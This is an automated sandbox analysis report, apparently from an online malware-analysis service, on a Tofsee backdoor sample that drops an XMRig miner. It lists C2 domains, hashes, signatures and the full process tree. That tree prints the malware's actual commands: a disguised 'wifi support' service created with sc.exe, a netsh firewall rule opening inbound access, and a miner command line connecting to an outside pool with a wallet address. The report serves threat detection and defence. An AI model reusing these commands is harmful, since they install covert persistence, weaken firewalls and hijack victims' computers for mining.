Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    09/01/2023, 02:39

General

  • Target
    file.exe
  • Size 260KB
  • Sample230109-c5akmsgd2s
  • SHA256 08b84e41e607f44ed369ea2f3b512254d6df9e8f0a4733d6ecfb0bf353b30c16
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wgugmuk\
      2⤵
        PID:1724
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vyhssool.exe" C:\Windows\SysWOW64\wgugmuk\
        2⤵
          PID:1952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wgugmuk binPath= "C:\Windows\SysWOW64\wgugmuk\vyhssool.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wgugmuk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1244
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wgugmuk
          2⤵
          • Launches sc.exe
          PID:2044
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:320
      • C:\Windows\SysWOW64\wgugmuk\vyhssool.exe
        C:\Windows\SysWOW64\wgugmuk\vyhssool.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:524
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:688
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:784

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            vyhssool.exe

            • Path C:\Users\Admin\AppData\Local\Temp\vyhssool.exe
            • Size 13.3MB
            • SHA256 0dc1b43c389eb07db422187afb5a392d1eecc2ae490341c3d7cb1e63694edccc
            • MD5 SHA1 SHA512 SSDEEP

            vyhssool.exe

            • Path C:\Windows\SysWOW64\wgugmuk\vyhssool.exe
            • Size 13.3MB
            • SHA256 0dc1b43c389eb07db422187afb5a392d1eecc2ae490341c3d7cb1e63694edccc
            • MD5 SHA1 SHA512 SSDEEP

            memory/524-79-0x0000000000400000-0x0000000002BA9000-memory.dmp

            memory/524-75-0x0000000002D8D000-0x0000000002D9E000-memory.dmp

            memory/524-70-0x0000000000400000-0x0000000002BA9000-memory.dmp

            memory/524-69-0x0000000002D8D000-0x0000000002D9E000-memory.dmp

            memory/688-88-0x0000000000110000-0x0000000000120000-memory.dmp

            memory/688-85-0x00000000000E0000-0x00000000000E6000-memory.dmp

            memory/688-100-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/688-97-0x0000000000130000-0x0000000000137000-memory.dmp

            memory/688-94-0x0000000005970000-0x0000000005D7B000-memory.dmp

            memory/688-91-0x0000000000120000-0x0000000000125000-memory.dmp

            memory/688-82-0x0000000001950000-0x0000000001B5F000-memory.dmp

            memory/688-81-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/688-71-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/688-73-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/784-103-0x0000000000250000-0x0000000000341000-memory.dmp

            memory/784-101-0x0000000000250000-0x0000000000341000-memory.dmp

            memory/1576-56-0x0000000002CDD000-0x0000000002CEE000-memory.dmp

            memory/1576-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1576-67-0x0000000000400000-0x0000000002BA9000-memory.dmp

            memory/1576-54-0x0000000075B11000-0x0000000075B13000-memory.dmp

            memory/1576-60-0x0000000000400000-0x0000000002BA9000-memory.dmp

            memory/1576-66-0x0000000002CDD000-0x0000000002CEE000-memory.dmp